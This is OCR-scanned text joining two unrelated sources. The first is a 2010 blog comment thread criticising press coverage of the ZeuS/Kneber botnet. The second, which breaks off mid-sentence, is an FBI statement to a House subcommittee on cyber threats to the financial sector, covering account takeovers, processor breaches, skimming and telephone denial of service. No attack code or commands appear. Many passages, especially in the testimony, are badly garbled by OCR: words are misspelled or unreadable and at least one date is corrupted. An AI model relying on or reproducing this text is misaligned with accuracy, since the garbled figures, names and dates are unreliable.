Interesting thing about technology, though: the guys we don’t like usually invent the most useful things. The pom industry gave us web
graphics and HTTP uploads; botuets provide a clear vision of what cloud computing can accomplish and some good direction on how to apply
it.

Q: Is there & fix for these systems (aside from *NIX)?

Flot debate. What do you think? i ¢ &

Bisss
February 19, 2010 ot 828 a1m

Let me begin by saying that I am more than just  little naive about these issues. However, the question “So what’s new about this whole
ZeuS / bothet story?” may well be quite simple, Google’s recent, highly publicized, dust up with China. Who's purpose is served by raising
this (old) issue NOW?

Like or Dislike:

aren
3, 2000 08 850 pm

What hole are you crawling out of? The number of fraudulent ACH and wire transfers from small commercial accounts is growing at an
alarming trend, and the scary part is hardly anyone knows about it. It is crisis time, my friend.

Like or Dislike:

a kK
Febryary 19, 2010 at 8:50 am

Took the words right from my mouth, Brian. Netwitness purged my comment in their post about “Move over China, here comes Russia.”
Russia has been at the forefront of these botnets the whole time — not china,

Well-loved. Like or Distike: [ ¢ 8 2

G 20 as 4700
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Russia is the biggest when it comes to botnets and other for-profit malware. China is biggest when it comes to oyber espionage.

Well-loved. Like or Dislike: & ¢ & 0

Rob

Febuary 19, 201

Given the size of the problem and the fact that most people don’t even know there is a problem, isn’t 4 more mainstream story good news? In
this case I think the fact that people are hearing about wide spread viruses organized by some person or group is good.

Most computer users still don’t understand the threat malware pose. If these people end their day thinking viruses are becorning a bigger and
more serious problem or more threatening they might start to do some independent reading. Then they find Krebs on Security and other more
informative sites.

Like or Dislike: & 5 @1 2

Rob,

I hope my hand-wringing over your very question was clear from my post. I think it’s great when large medin organizations sound the
alarm on this stuff, and the alarm definitely needs sounding.

I just felt like the stories all lacked any kind of context whatsoever, and were uncritically reported. Where is the perspective from outside
experts who can add perspective on what is already known about this threat?

1 thought the Netwitness report was interesting and well done. As 1 said, T wasn’t trying to say their report wasn’t important: It says a
great deal that so many powerful and rich corporations can’t scem to keep these opportunistic threats out.

One angle that hasn’t — to my knowledge — be explored much in any of the stories so far is: So the E. European criminal gangs
stealing il this data are masters at wringing out every ounce of profit from the financial credentials. But to whom are they selling the
stuff they can’t use? I'm talking about the credentials for corporate e-mail accounts, vpns, government email accounts, vpns, eto, etc.
And I guarantee you they are selling it, because it has value to someone.

Well-loved. Like or Dislike; 8 17 & 0

("
] x%i@c;»bw}\/on‘is

Februacy 19, 2010 30 12:04 pn

Brian,

You know the process of what happened. A good press release was presented to the right assignment editors at the right moment
to be of interest. These couple of editors assigned a “reporter who knows something about computers” but who didn’t have the
knowledge or time to be able to understand the context themselves, fet alone pass along anything more than the standard, hyped
regurgitation of the press release with a couple of “expert” quotes thrown in to provide substance. Then the hundreds of fecder
news organizations had to jump on and, rather than actually do journalism, rewrote the original article(s) in a way that was “fresh”
and “advanced the story™ with their own perspective and lack of knowledge/context... maybe with a quick peek at Wikipedia or a
Google search. Thus we end up with a highly respected news reader (I love the UK for that blatently honest label) looking foolish
(to some) by proclaiming “a virus named botnet.”

A few decades ago I found a cartoon that had a reporter in front of & wall covered with note cards. On each card was written a
plethora of unrelated topics like geology, bankruptey, water quality, astrophysics, pediatric surgery, home consiruction, penguin
migration, etc. At the top of the wall was a sign: “Today I am an expert ir....” The reporter was blindfolded and holding a dart.

1 once watched a reporter just for fun do a staged 2 minute staged “live shot” explaining why there were a dozen soda machines in
front of a small town supermarket. Actual knowledge of a subject is not necessary to fill time and/or space.

You were blessed o be allowed to cover in depth a relatively narrow field that allowed you to apply your own curiosity and
become something of an expert in your chosen subject. Thank you for your work and I wish you the best moving forward!

“Too many journalists are egotisticeal infomaniacs who want to make sure that you know how much they know about any and
every subject... and what you should think about it.” (statement Copyright 1996 by me)

CyherNorris (a former television news photojournalist and producer turned IT pro and information security auditor...now a CISSP
and CISA)

Well-loved. Like or Distike: &8 10 & 1

G100 0743 un

Excellent article Brian and also a fine comment from CyberNorris and their media perspective.
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Congratulations CyberNorris on becoming a CISSP and CISAl 'm CISSP and will be taking the CISA exam on
6/12/2010.

Brian, have you considered carning a CISSP?

g

Bill,

Good luck on the CISA exam. After the CISSP, that one didn’t feel all that difficult.

I’m not sure ISC2 would approve Brisn's journalism work as required experience for the CISSP. Remember the
credentialing process is more than just passing a test. That said, I'm certain ISC2 and ISACA would both be happy to
accept Brian as a member.

Norris Carden

Like or Dislike: 9 1 o

Hello! I just wanted to ask if you ever have any problems with hackers? My last blog (wordpress) was hacked
and | ended up losing several weeks of hard work duc to no data backup. Do you have any methods to prevent
hackers?

Like or Dislike: 88 o &0

14.

If you ask me, this is why you should always pimp and support those few truly knowledgable journalists in the tech world. i You can’t stop
news oullets from trying to be sensational to get eyes, nor can I get too mad about broadening the exposure to the “mainstream” world to these
issues, But you can help promote those few journalists (like yourself!) who have their head on straight, technically.

Well-loved. Like or Dislike: &5 5 @ o

¢ (i oodhll
el 11A9 am

There is a saying in Washington, D.C.:

- One report is an “anecdote”

- Two reports is a “trend”

- Three reports is a TIME Magazine cover

- Four reports is “legislation”

OK, there has been & lot of “information inflation” since this aphorism was created, so today it’s off by three or four orders of magnitude.
However, on the issue of cybererime, I think America is well past the magazine cover. The question that is now before the house is what
proposal should be put before the House (and the Senate)? I think the political branches are ready to “Do Something”, but do exactly *what*?
My late, great friend Milton Friedman famously wrote, “Only a crisis-actual or perceived-produces real change. When that crisis ocours, the
actions that are taken depend on the ideas that are lying around. That, 1 believe, is our basic function: to develop alternatives to existing

policies, to keep them alive and available until the politically impossible becomes politically inevitable.”

Congress is not staffed to “propose” only “dispose™. Thus, one is as likely to get a folly like “Sarbanes-Oxley” as a wise policy like a “Nunn-
Lugar”. (More likely, actually, because of how commeonly the Conventional Wisdom is wrong.)

o

i

%ell-loved. Like or Dislike: 8 7 8o

19, 2000 w130 oy

Couldn’t agree more, Brian.

As the Watergate saying goes, if you aim too high and miss, everyone feels safe.

The truth is terrible as well as important, and it’s hard enough getting it across without people being conditioned to ignore bad news from such
hype as this.
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16.

17.

o

ed, Like or Dislike:

& Bob Bowie
ary 20, 2010 at 332 nm

This is directed to the bobble heads here saying ‘yeah this story was overdone ~ it wasn’t a big deal’....

Hype? What hype are you folks referring to? This variant was around for 18 months - do you know when McAfee covered this ‘old,
nothing new here” attack??? January 28th. Symantec has a similar timeline. Look it up for your self.

Neither one of these vendors stand a chance against any new ZeuS 1.3 variants. arriving on the scene.

What hype? This stuff is real, and honestly, its “poo-pooing’ pundits who THINK they understand the security landscape that give
people a false sense of security.

What this story should really be about is ‘wow- this really illustrates how current conventional security practices just aren’t enough to
catoh a variant of ZeuS based off of an old 1.2 version of ZeuS”

Seriously, do you think the companies named didn’t have robust security in place? Merck? Paramount? etc ete??

Only by capturing all the data and locking at what is truly coming across the network will save you. Netwitness and maybe a few others
give you & snowballs chance in hell of finding this stuff- nothing else will.

Like or Dislike: &5 3 £

Cebruary 19, 2000 s 12,42 v

What’s sorely missing from the “journalism” that hypes this stuff is the fact that computer users are the enablers of 99% of the COMPromises.
I’m not hearing any finger-wagging directed at the real cause of the problem, just tales of the insidious nature of the criminals.

Like or Dislike: %18

G at LS pm

Brian,

Thanks for the comments on the research, and NetWitness. You have talked to us all enough to know (hopefully) that we are nol prone to
hyperbole.

I do think however there are ulterior motives by AV vendors in dismissing this.

s nenworkiorensios somi20 {1

Thanks,
Tim Belcher
CTO
NetWitness

Well-loved. Like or Distike: & 12 & 7

JS
bruary 19, 20108 8,32 i

1 still ask the audience here if these malwares & bots are getting into corporation, militery and government through the front door -as when the
employee walks in from home.

The generous policies on laptop and PC use in the 1990s and 2000s brought about a huge 1T headache and shift in defense posture of data
security from passive defense to reactive.

From Execs to the Grunts, no one thinks about not trusting the data security of a computing or storage device they just brought into the
building.

The analog is:
Your personage is highly scrutinized and shake down at the girport, and boarder your asked all sorts of questions about where you’ve been and
what your carrying, In fact you or your vehicle may be searched to look for pests you know you have unintentionally carried in.

Yet plug in your laptop, USB stick, or enter the correct WPA info you get on the Edu, .Gov or .Com internal network — period. No questions
asked of your laptop of where it was last night and whom it may have been “talking” with, or where it’s travelled. No searching is even asked,
no monitoring to see if still resembles the config it was sent out with (akin to matching sayig you arc who you are.)
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Bots need channels and pipes to work, Net Managers & DataSec guys stomped all over eMule, bittorents and P2P because they were “noisy.”
Its a sign the cons are ahead of the game in that nobody is seeing the meters spin on their pipes bandwidth usage — finding these siow info
leaks is near impossible in an enterprise.

Unless Gov, small business and Enterprise suddenly begin to realizc that despite the fact they lock the front door physically they are not good
at locking down the network access outbound. Until this is realized, these outbreaks will continue to be a persistent part of the ecosystem.

Data security — Its really a mindset that has to be taught before the disasters happen.

1 wonder if there is any chamber of commerce programs out there to aid small businesses to realize their risk and in ploin simple talk discuss
how to secure their small business.

o B

oved. Like or Dislike:

Brian,

A 200 st

We need to treate the disease not the syptoms.

Laws, regulations, requirements for C&A and certitied cybersecurity specalist will not stop cyber attacks, neither will educating the masses. In
fact they may make it easier for the bag guy to be successful, while were 1l out getting our training, their still hacking away.

What will make a difference is writing better code with fewer vulnerabilities that can be exploited. The bad guys have all the time in the world
to research, develop, test and exploit vulnerabilities created by poor coding. The good guys have a precious few minutes to identify and
respond to new threats.

As long as we continue to accept poor code, we can expect to continue to se¢ exploits taking advantage of the vulnerabilities it creates.
Only by getting off the tredmill and addressing the basics will we have a chance at reducing our exposure,

Like or Dislike: {1

The drive-bys are all JavaScript-based. Wouldn’t it be simpler to just run NoSeript in Firefox and be done with it? (And then hope someone
makes one for [E.)

21.

Tom Cross

VAL G0 e 23

Dan finally hit the nail on the head. Block javascript (NoSeript) in Firefox (no ActiveX/BHOY); run CCleaner often o clean up the internet
residue; small AV gs a trunk monkey in case some glitch appears; Foxit Reader and regular, manual updates (MS, Firefox, NoScript, AV).

I own a compute repair store. EVERY computer I work on has an AV (Nortor/McAfee/TrendMicro/AVG/Kaspersky) and they re all infected
in some manner. IE usage is the usual culprit, but I also sec a lot of useless download tools (DriverDetective, RegCleaners, etc.).

Brians article is spot-on. The press either doesn’t get it or are complicit in the silence. My theory is simple — javascript drives advertising. Why
would any infernet-centric business/portal/media outlet want you to use a tool that blocks their revenue machine?

And what about rootkits? 80-90% of our repairs are rooted, a few are in the MBR (we zero-fill all HID before reinstalling). I see 10-15 different
kits regularly and there are some that are really good requiring some serious digging to find out what they’ve done.

Thanks for the great site. ...
The public needs to know more about rootkits — they disable AV programs!

Like or Dislike: &5 3 & o
oY

22.

1 wonder if anyone has red the white paper write up from Netwitness about this? In it, they indicated that a one month data dump yielded these
74,126 infected machines. I've read many reports that they are just “rchashing the zeus botnet” but once again, in the report, they are
indicating that there is a new executable involved. That is where the Kneber comes into play, and a yahoo address that was involved.
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24.

Anyways, I think what they are basically saying is that while it’s an old botnet, it has a new twist and has been infecting untold systems so far.
The DoD has a report of nearly 50 million systems being infected with an unknown botnet. And so far no commercial security companies have
found it. Could this be it? Right now, that seems farfetched, but T think you’ll find that this will end up being an accurate statement.

v B

Like or Dislike:

X Bobby Green
yreary 23, 2010 st 2R o

When I read that botnet press release that got turned into a page one story I knew something was wrong. The Post now has no one capable of

writing a decent, technically correct article. How could they get it so wrong? The newspaper of the nation’s capital is not the place to be weak
on tech coverage. Did they think to consider there’s a cost involved? It takes only a few poorly written and researched stories to obliterate the
credibility that takes ycars of reliable reporting to build, The Post is well on the road to its own imrelevance.

Like or Dislike: 88 o 8 o

N
o Nwal\ CyberNorris

Fobrgary 23 2000 ot 1138 vm

Bobby,

The Post has lost credibility on many fronts. This is not their first poorly written and researched piece on page 1. To most journalists, |
suspect information security might as well be rocket science.

Like or Dislike: B o o

§ w\§ ypwrme

Februany 24, 2010 a0 12 32 bin

Why do a picee on cyber security when you cannot do a basic research? Not even Obama’s interest in Cyber Security could spur them on!

8o

Like or Dislike:

N
st CyberNorris

Fehmary 24 200 al Ldb o

Because an editor thought that with the press release someone had already done the research for them.

It’s got a hook and will sel} papers. It’s also kinda a feel-good, special interest piece. Just about everyone could shake their head and
think *isn’t that horrible” as well as “I’m glad that will never happen to me.”

I read today that the Post has finally tumned a profit, although it’s clearly come at a cost: Continued cost-cutting boosted the newspaper back
into the black.”

With that reduction in cosl comes an equivalent reduction in quality. This “Botnet is Big News” article was one of many that made me seratch
my head and wonder: “Do they even understand how much they got wrong?”

Now that BK has left WAPO, It’s time for a rewrite of that old salesmen joke:

What's the difference between a Post automobile writer and a Post computer technology wriler? The automobile writer *knows* when he’s
lying to you.

Bobby G.

Like or Dislike: o & o
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FBI — Cyber Security: Threats to the Financial Sector

Page 1 0f 6
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Gardon M. Snow
Assistant Director, Cyber Division
Federal Burcau of Investigation

Statement before the House Finanelal Serviees Committee,
Subeommittee on Financial Institutions and Consumer Credit
Washingten, D.C.

Septemnber 14, zo11

Good afternoon Chairmian Ciipite, Ranking Mimber Majouvy, nid members uf the subtommitice. I'm

Recent Testimonies

L 09.14.11

pleased to appear befere you today to discuss the cyber throats facing onrnation and how the PBI and our

partuers are winKlng fogatlier to protect the finanetal suctor and American consiners.

Cyher criminals can sl&n ificantly threaten the finances and reputations of United States businesses and
financiai institntions. Given the abundance of potential victims and profits, cyber eriminals will likely
continue to target these entities. The FBI is committed to addressing these threats throngh innovative and

H
1

pronctive means and meking the Internct riore secure for financiat institutions ond U.8. consumers alike. :

The Cyber Threat to the Financial Sector

As the subenmmlttee is awnre, the mimber and sophistication-ofmaliclous incldents has ingrensed
dramaticatly over the past five fvcnrs and Is expocted o contimie1o.grow, Ad busitess and financial
institutions continie 40 adopt Tnternet-based commerce systems; the opportanities for eybererime
increase at retail and cobsumer levels.

Accauni Tukeovers

Cyber criminals have deiponstrated their abitities to explolt onr online financial and market systems that
interface with the Internet, such as the Antomated Clearing House {ACH) systems, card paymenis, and
market trades. In these instances, cyber erine ks easily committed by expioiting the system users, rather
tha(l;\ the slyslcma theraselves. This 3s typically done through the compromise of a legitimate user's account
credentials.

Frandulent monetary transfers and conntesfeiting of stored value cards are the most common result af
oxphoits againsl financind institntions, paymentprocessors, and merehants, While the Josses that result
from tiwse explolts generally fali npon e fuaneial instititon, consumers experience the inconvenlence
of changitg accounts and re ,nr{nF catds gssociated with their eompromised infonnation, as well as the
ettt ?mpmc( associated with Being a victingola-eyber erime,

‘The FBI is currentiy Investigating over 400 veported cases of corparate account takeuvets in which cyber
criminals have initiated nnanthorized ACH and wire transfers irom1he bank ascounts of U.S. businesses,
‘Ihase eases involve the attempted theft af aver $255 millino and bave resnited in the actuatloss of
approximately $85 million. -

Ofien, the altackvector ion tavgeted phishing canail that contains either ag dnfected g oradink toan
tnfeeted wohsite, The exmail recipfent s gesertly a persou withina targeted vomypany who caninitiste
fndd transhous on belmllof the business ot another valid online banking credentialacconnt hotder. Onee
the reciplent opens the abtpchinent.or wavigates to Uie website, malware isf nstalled o tho vsar's
computer, which offen nclides akeylogging progrant that huarvests the user's anline Lanking credentinls,

httn://www thi oovinews/testimonv/evher-cecnritv.threats-to-the-financial-certor
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‘the crional then elther ereales another acconnt or directly injtiates a tunds traaster masquerading as the
legitimate nser. The stolen funds are oftet then transferred overseas. Victims of this type of scheme have
incloded small and medium-sized business, local goverantents, school distriets, and health care service
providers,

In 2008, a Pennsylvania school district discovered that over $450,000 was missing from their bank

aceount, The following year, a Now York school district reported that approximately $3 million had been

transferved out of their bank necount. The New York's school district's bank was sble to recover some of

gm tmnsg:jrs, bul $500,000 had already been withdrawa from the account before the transaction could
e reversed,

Recently, two trucking companies were vietimized by frandnlent electronic account transfers, and lost
approximately $115,000. Comnpared to solne loss Jigures, this might not seem significant. One nf the
companies currcntfy has anmial revesues worth roughly $79 million, so their loss was nearly 1 percent of
their gross revanue. That amonnt is approximately encugh to puichase an additional tractor-tratler und
provide another driver with a job.

i 03.30.11

03.16.11

In Maxch 2010, an IHinois lowa was the victiny of @ eyber intrusion resulting in noautharized ACH
transfers lotaling §100,000, When an authorized individual logged into the town's bank account, the
individual was redivected to a site alerting her that the bank's website was experiencing technical
difficulties. During this redircetion, the eriminal used the vietim's suthnrized credentials lo initiate
transactions, The town was able (o recover only $50,000,

Third Party Paymeni Processov Breaches

Sophisticated eyber criminals are also targeting the computer networks of large payment processars,
resulting in the lass of millions of dolturs aud the compromise of persomally identifiable information (PIl}
of millions of individuals.

11 Novemnber 2008, a U.5. ;mymeut’};roccssur discovered Ual hackers had breached the company’s
compiter systems and contpromised the personal data of over 1.5 millon eustomers; raughly 1.3 millian
Soeial Secarity numbers were also exposed. The criniioals used the stolen data ta create fake debit cards
and withdrew more thaa $9 million from antomated teller inachines {ATMs) worldwide.

In January 2009, it was disenvered that c,t:har eriminals gmnpmmixcd the gompuer nelwark of a U
payment ngeessor that exmpletes approsinately 100 milllors transagtions et by for toxe tany
250,000 U8, businesses. Tl eriminnks wore able 1o oblain gver 1o willion customar recarids, which

included credit card numbers, expiration dates, aud foternal bank codes.

Securities and Market Trading Exploitation

Securities and brokerage firms and their cuslomers are commeon targets of cyber eriminals. The typical
crimes against these fivins include market manipulation schemes and vaanthorized stock trading,

T zo, faw enforcentcnt agencies ai fnanckd rogulators ebserved s ond in wivlch eybar vrimingls
initiatest i thorized finaveis] transactions from compromised victim bank or brokevage agcounts. i
These tanspetiony wire pajred with i Telephone Benfal of Service (EDB) sltack, by which the victim'y
Tegitinmto phone ne wis fovded withspam-Hhe whephone calls to prevent the bunks or beekerage finas |
from contacting the vietim to verify that the transactions were legitimate.

In December 2009, a vietim in Florida filed a police report stating that $399,000 had disappeared from
his online brokerage aceonnt while he was sinnltaneously targeted tn a TDoS attack. The online
withdrawals oceurred in four increments, with progressively larger amounts being withdrawn each time.

Cybev crirainnls Target not only those wha trade ip securitios hut alsoihe exchaoges in which the
saenrities are sold. These TDoS and Distiibuted Denial of Sepvies (DDo8) attacks shaw a desire by eyber
criminalg to focus their offorts on kigl-profile Roavcial sectontargets.

Beginning in July 2009, two U.5. stock exchanges were vietims of 5 sustained DDo8 attack, The remote
attack ternpovarily disrapted public websites but had no apact:on Gaunelnl smarket operations, A parent
company of one of the exchanges stated that it had notexparioneed any degradativw in service on its
public website or core tradiag and data systems, which operate owa private network,

In February 2013, eriminal actors placed an online advertisement infected with maliciqus software onto
the public website for a foreign stock exchange. The inalicious advertisenient appeared on the victims'
computers as a pop-up, alerting the user to non-existent computer infactions in an attempt Lo trick the
users into paying for and downloading roguce "antivirus” software.

Ao dn Felbirua ’?" thepmout company of HASDAQ confinmed that they had been the victin of a security
breach by unauthorized hitroders vt thelr Divestors Beskwelrapplication, a system that was not
tirgetly ke 1o thelr trading pheforms, i was fastead nsed ag i anline portal for senjor exceutives
wind divectors: Gy share-confidential information.

Thesw types of malicions incidenis hi)r,mi%}hi ssot onily Use targeting ol hnpertant finsnsis! infrastructure by
eylei coiniials, butalso the diffieslty of determining consequences and Tutent, Por exaniple, although it
seems.am reals Ui drading onvivonments inve been-comprotmised e these ineidents, cyher eriminals
conld be more interested in altaining valuable insider information thiw b disempting l{e markets. :

htto//www. fbi.gov/news/testimonv/cvber-securitv-threats-to-the-financial-sector
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ATM Skunming and Pount of Safe Schemes

ATH skimuing 78 also n prevalent global eyber erime. A criminal affixes a skimmer o the outside or
tnside of an ATM tocollect card numbers and prrsonal ideatification nu mber (PIN) codes. The eriminal
then vither sells he stolen dats aver the Internet or makes fake cards to withdvaw money from the
compromised qoconts,

e technelogy of the skinuner devices continnes toimprove, This lncémk{:m is alyo being used bo stoal
eredit and delitcard information fiom customers at pas-station praps. B isetootli-omabled wiveless

skiminers were fosisd ala sting of gas:stations in the Deaver area atfached to the inside of the gos punp, |

Thi wireless capabilities of the skimmers allowed Usecrfniual o dewnload the information from the
skimniers instantly, as long as they were in yange of the wireless network,

Jven as technolopy fnproves W proteet spainstskimming, syber eriminaly.as crenthng devices o wiimie
the sceurily features of legitiate ATM hardwaye. For uxample, ATM vendors have eremtad iew antic
skibtining louls tiat fnclude a backilt greonor bl phistie castngaround the wavd slot 1o provent
sklmmers frenn befng attached, b Frelsnd ineodly 2oty eyber erimivals attacked sover A} skimmers that
appeared identival 1o thipew seeurity deviees,

Foinit of suki (PO8) tenninals, which are prinu ri!{ sised fo conduet the dally sde operations in
restaurants, veiadl stores, and places of business, have beewa priviary tsiget foreyber criminals engaging
in eredit card frand and liave resulied in the compromise of miltions of eredit and dahit cards Hie WS, Ty
example, - Mareh 2008, theee wmen were eharged sith Tacking Tiste several “snant” cash registers
belonging 1o U.S. restancant chain. The ceimanals fnstalled “sniffer” pragrams thal were used Lo steal
pagment-dita as the dnfornmation was Telug sent-from the POS terminals in the restowmnt o the chaln's
carporate sffice. Thestelen data vesulted in more than $600,000.in losses.

Mobile Banking Exploitation

As moveanvhile devices have heen introduced- o personal, business, or government nutworks, they bave :
been increasingly tavgeted for stealing PIL The spread of mobile hanking providle addinenal oppertanities

foryber erime. Cyber ciminals Trave succossinily demonstrated win<hsthe-middic attacks against
wabile phianes ustng » vavintion of ZewS mahvare, Thy mabwareis installed on the phone thyaugh a tink
Imbedded bt a maticious text inessage, aud then the nser is instructed to enfer thedrcomplete niohile
infotwnition. Becanst financial lustitutions sometinees use [ext essaging (o verify that onliue
Lransactions st itiated by a fegltimate user, (e fnfected mubile photes forwand messages torihe
criminal, thwarting the Bank's two-factor nmhentication,

Cyber erfninals are alse taking advantage of the Twitler iFhemgupplivation byseuding niakigious “tweets

with ks to 8 websile contaiting a new bankivg Trojin, Onee instalted, the Trojan dissbles Windaes

Task Manager apd hotifications ?\*om Windows Secarity Center {0 avoid deteetion. When the victhn opeus

l(f;cir suline bankling acconnt-ar makes  eredit eand pichase, PIt s senttothe efminatinan caerypted
HE,

Insidey Avcess

aird confidence iy L8, finouehilmarkets is hased on theby long-standing veli
in prolecting sndenswing theimegrity ol theirsystens, Unfortunately, lndividuals with direel aogess to
gote-provessing centers may be I a pasition by steal intellectual propecty, insider information, or data
fhat eandamags the repntation of tie cowprny., Andadividual could leverage s informatlon toaffect

stosck prices or 1o provide other comparies with ncompetitive advantage.

“Fhe high Jeeet of bust

I 2en10, the FBLinvestipated two hig;!v;}roﬁlc casos [nvalving the thell orattempted thelt of sauree cade
for h»gipfr‘ctguenuy srading peograms. The thefl of these programs could cust the yivtim gompanyuiliions
of dotlnre in losses, allow & compititor (e predict s compuny’s actios, oy givieas competitor ey
opparianity to prafit nsing the vietim compruies’ strategios,

Supply Chein Infiloration

The production, packaging, and distribution-of sountorfoit softwire or hurdware used by fimagelad

tistitutions or eriticnd ol networks by crymr criminals couldd result in the comprowise of proprictary |
4 :

data, sysiein riixm‘ption, or complote systens fajture. Gaining phwsical and technical necess Lo fnanvial
institutions conid be accompdished by comproinising trusted suppliers of technical, compuiter, and
security synipinent, sofisare, and hardware,

Finanaial floms have become regubar torgets ol sy })‘1\1}‘ eligin sitacky. For exatple, ATHMs have beeu
delivored awith mshware istdled ow ihe systems, ke endpoints on the ATM netvarks fuve been ereated,
andindividuals have pased a3 ATM nsinlensnee workers, Additionally, vendors whogupplyseryices to
the hanking sud finance sector are-constant tnrgets of cybor eriminaly, including thuse who provide
servives Jike security, anthentieation, and-online basking platforms.

Telecommnication Network Disruption

Financia) networks are highly dependent on the availability of telecomninnication infrastructuee,
Altheasgh eyber evimimibe iy ot b able to direetly target the cave processing centers that snpport the
critical financiad iar kets, they may tavget the telecommunication networks to divectly iinpact the
funetionality of ey {inoncial players,

hitnwvanw thi onvlneswel/tectimonv/euvher.eem rritvothreatectncthe.financialcantar

H
i
i
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11y market trading, ntrastructure 1s erucial 1o the sueecss of s that speaiatize 1n high-trequency .
trading as milliseconds of saved time during data processing and transmission can impact profits. As a t
result, many firms co-lacnte and buy space near the main processing centev of the major exchanges, The |
Jlose nvoximity of these networks adds a shared celiance on telecommunication infrasuructures, which
could be significant if there is a disruption to the infrastructure,

Financtal Estimates of Dumages

Cyber criminals are forming private, trasted, and argauized groups o conthn a’lyli,e:‘ erime, Theadoption
of specialized skill sels and professionalzed Itsiness }mclices by these exininals is steadily incrensing
the complexity of eybiey erine by providing actors of sl teelmical ulsilities with the nevessary tovls and
resources to conduct eyl erinies Notuuly are criminals alvaneing theiv abilities to attack g system

remotely, but they sre bucaming sdept at tricking vietiag inty compramising their own systems, Oncg a
system is compromised, eyber eriminals will use thelr accesses m,o\nz;in PH, which includes enline ;
uanking/brokerage acconwt sredentials and credit eard numbers of individuals-and husinesses that canbe .
wsed for finsncial gain, Ay cyber erime groups ineceasingly recrnit experieaced actors and-pool resources
amd knoededge, they advance thelr s bifity 1o be sueeessiul in erines against more profitable targets ond

witl tearn the skills nacessary 1o evade the sexurity industry and Jaw eaforcement.

‘the potential economic consequences are severe. The sting of a eyber crime is wot felt equally acruss the
board. A small company may not be able to survive even one significant cyber attack, On the other hand,
eonipanies way nol.oven roalive that they have beon vietimized by cyler eriminads until weeks, maybe

eves moths later. Vielin compeanies range in size and industey. Often, businegses are unable to recoup
\heir losses, and ibmay be impossible te egtimate their damage, Many companing prefer not to disclose

that thoir systems have been eompromised, so they absorb the vss, winking it Jnpossible to accuralely
caleulnte damages.

As a result of the inability to define and-caleulute losses, the bestthat the guvernuen and private suctor
can offer ure estinates. 5vcr the past five years, estimites of thecosts of ayber trina to the US.eeonomy
have ranged front millions to hundreds of billions, Azoio study condueted by the Ponemon Institule
eslimale«.gl that the median annual eost of eybir aime (o sn individual victim erganiastion ranges from S
withion ta $52 ndllian.

Addvessing the Throat

Alliough our cyber adversaries’ capabilities are at an all-time Ligh, combating this challenge is 2 Jop
Hriorily of the FBI and the entire %‘lovc\'nmcm, Thanks Lo Congress and the administration, we are

evoting significant resonrees ta this threat, Our partnerships within industry, academia, and nevoss allaf
governnient have also Jed ton dramatic impeovement in our ability to combat tlids threat. Additionally, :
the Administration's National Strategy for Trusted Identities in Cyberspace sceks to address this threst by
increasing the seenrity of anline transactionsthrough the development of more trustworthy digital :
credentials which will help 1o reduce account takeovers and 1 overall consimer safery levels,

The FBIs statistory authority, expertise, and ability to conbine resources across multiple programs raake
it uniguely situated to investigate, collect, and disseminate intelligence about and counter cyber threats
from emininals, nation-states, and terrorists, f
‘The FBI plays asubstential wle inthe Contprefiensive National Cybersecurity Initistive (CNCD, the H
interguney strategy o protoct uurdigjml fifeasiruetn as.a national security priority. Through the CNCI,
weamd our pavtners cciﬁabc;mle to colteet Intelligece; gain visibility on our adversaries, and facilitate
dssewingtion of eritival inforsaiion to declslow makers,

The FBI hag eyber squads in each of our 56 field offices, with ore than 1,000 sdvanced cyber-trained
FBI agents, anslysts, and forensic cxaminers, We have increased the capabilities of our employees Ly
selectively seeking candidates with techniesl skills and enhancing our cyber traiming.

T addften, the FBs presense in fegud sttchéy in 61 ofties apaund the world ussists in Uhe gaitical
exchange plcase related-inlorption and he situaticul awarencss of ewsrent threats, haiping o combat
the-global sealy énd seope-af eyher lreachas. The FBI is ulso chattging to-adapt 1y the aver-evolving
techunlogy and schomes used by eyher cindnals, Intelligence now drives qperations b the ¥RL ‘(‘Ke
Bureau is working in ncw ways with long-standing and new partners fo address the cybersecurity threat,

T addition, #6 past of the FBI's vvesall ansformition 16 an intelligence-drivea organization, the Cyber
Divisian has hnplemented Threat Foens Cells, which biing m‘:cli\cr sithjeel matter experts frum vations
apennies ta colfaliointe awd adetress spacifie fdentified eyher threats,

Partnerships

However, one ageney antiol contbat the threat slene. Thraugh the FBl-led Nitiouul Sy Divestigative
Joint Trsk Force, we consslinate eur effaris with 2o law enforce@ent and intellipence commmiiy (1)
entities, including the Contral Latelligence Ageney, Department of Defense, epsriwontof Homeland
Security (DHS), and Nationa! Security Agency. The FBI also has embedded cyber stafl in other IC
agencies through joint duty sud detailee assignments.

We have ulso enhanced our partnership with DHS, forming joint PBI-DVHS teams ta conduct vohintary ?
assessinents for critical infrastructure owners and operators who are concerned about the network i

http://www 1bi. p.ov/news/testimonv/cvber-securitv-threats—to—the—ﬁnancial—sector 9/16/2011
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analysts with specialized training in these systems,

Forsupport small husinesscs, we have also Yszmmmd with the Natloaal Institute of Standards and
Technotozy nud the Smidl Risiness Administration since 2002 1o sponsor computer secnrity workshops
aud provide ontine support for swall Linsi through the tnfroGard program. Thesewor ‘i\&gs. which
are held across the country, feature: security expents whoexplain information :tcuritg threats ad
witlnerabilities and deserthe 1 Tve tools and techniques whicly can Du veed to address potential
security grobdens,

1n addition, becnuse of the frequent foreign nexus to cyber threats, we work closely with onr International
law enforcement and intelligence partners.

We currently have FBI agents embedded full-time in five foreign police agencics 1o assist with cyber
investigations: Bstonia, the Netherlands, Rumanla, Ukraine, and Cotombia, These cyber personnel have
identified cyber organized crime groups targeting U.S. interests and supported other FBI investigations,
We have trained foreign Jaw enforcement officers from more than 40 nations in cyber investigative

techniques over the past two years.

We hineengaged aur intemational allies, including Australia, New Zealand, Canada, and the United
Kingdou, instraiegic diseussions that have resulted in increased operational coordination on intrusion |
activity and cyber threat investigations. :

he PHT hos worked with 2 sumber of regolalory agencivs o determine the scopa of the fimnefal cyber
crime threal, develop mitigation strategies, and provide Piblie Service Anuouncements where
approprinte, to ficlude the U.S. Deportmentof Treasury - | {al Crimes Knf Network,
Snancial Services infornation Sharing and Analpsis Center (F5/SAC), the Seaurities and fxchange
Commission, the Offiee of Comptyollerof Currency, the. Vederal Depasit Insurance Corporation, the
Federal Resarve Nourd, and the Federat Reserve Bank.

1n addition, the FB} partners with criminal investigstors from the Internal Revenue Service, the U.S.
Secret Service, U.S. Immigration and Customs Enforcement, the Depastment of State’s Bureau of
Diplomatic Security Service, and the U.S. Postal Inspection Service to further investigations.

Additionally, the FBI works with a mimber of industry, governing enlities such as NACIIA—the Electronic
Payments Association-- and the Finaneiad Industry Regnlatory Authority to understand and investigate
cyber crime problems affecting 4 particulor indusiry segment.

Information Sharing

-
The FBY has doveloped strong, relationships with prisnie-industry and the public, lnfraGard s o premfer
